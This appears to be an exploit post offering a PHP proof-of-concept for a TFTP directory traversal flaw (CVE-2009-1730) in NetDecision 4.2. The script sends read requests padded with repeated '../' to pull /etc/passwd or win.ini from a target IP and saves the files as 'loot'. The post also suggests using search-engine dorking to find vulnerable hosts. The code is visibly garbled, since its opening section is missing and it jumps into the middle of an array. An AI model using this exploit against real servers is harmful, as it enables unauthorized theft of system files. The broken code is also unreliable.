============================================================================================================================================= | # Title : TFTP Server NetDecision 4.2 Directory Traversal vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://netdecision.software.informer.com/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: Directory Traversal vulnerability in NetDecision 4.2's TFTP service to read sensitive files from targeted server. (Related : https://packetstorm.news/files/id/180940/ Linked CVE numbers: CVE-2009-1730 ) . [+] save code as poc.php. [+] Set taget : Line 75. [+] USage : php poc.php [+] PayLoad : 'windows/win.ini', 'linux' => 'etc/passwd', 'unix' => 'etc/passwd', 'macos' => 'etc/passwd' ]; if (!isset($files[$os])) { die(" نظام التشغيل غير مدعوم!\n"); } $file_path = str_repeat("../", $depth) . $files[$os]; $packet = "\x00\x01" . $file_path . "\x00octet\x00"; // طلب قراءة الملف (RRQ) // إرسال الطلب إلى الخادم socket_sendto($socket, $packet, strlen($packet), 0, $ip, $port); $file_data = ""; while (true) { $buffer = ""; $from = ""; $port = 0; $bytes_received = socket_recvfrom($socket, $buffer, 65535, 0, $from, $port); if ($bytes_received === false) { echo " فشل في استقبال البيانات من $ip\n"; break; } $opcode = unpack("n", substr($buffer, 0, 2))[1]; $block = unpack("n", substr($buffer, 2, 2))[1]; $data = substr($buffer, 4); if ($opcode !== 3) { // إذا لم يكن حزمة بيانات (DATA) echo " خطأ أثناء استرجاع الملف $file_path من $ip\n"; break; } $file_data .= $data; // إرسال ACK للحزمة $ack_packet = "\x00\x04" . pack("n", $block); socket_sendto($socket, $ack_packet, strlen($ack_packet), 0, $ip, $port); // إذا كانت الحزمة الأخيرة أقل من 512 بايت، فمعناه نهاية الملف if (strlen($data) < 512) { break; } } socket_close($socket); if (!empty($file_data)) { echo " تم استرجاع الملف بنجاح!\n"; $save_path = "loot_" . $os . "_" . basename($files[$os]); file_put_contents($save_path, $file_data); echo " الملف محفوظ باسم: $save_path\n"; } else { echo " لم يتم العثور على أي بيانات.\n"; } } // ============================== // استخدام الدالة لاسترجاع ملفات مختلفة // ============================== $target_ip = "192.168.1.100"; // استبدل بعنوان IP للخادم المستهدف $tftp_port = 69; // المنفذ الافتراضي لـ TFTP $target_os = "linux"; // اختر: windows, linux, unix, macos $depth = 10; // عدد مستويات تجاوز المسار tftp_request($target_ip, $tftp_port, $target_os, $depth); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================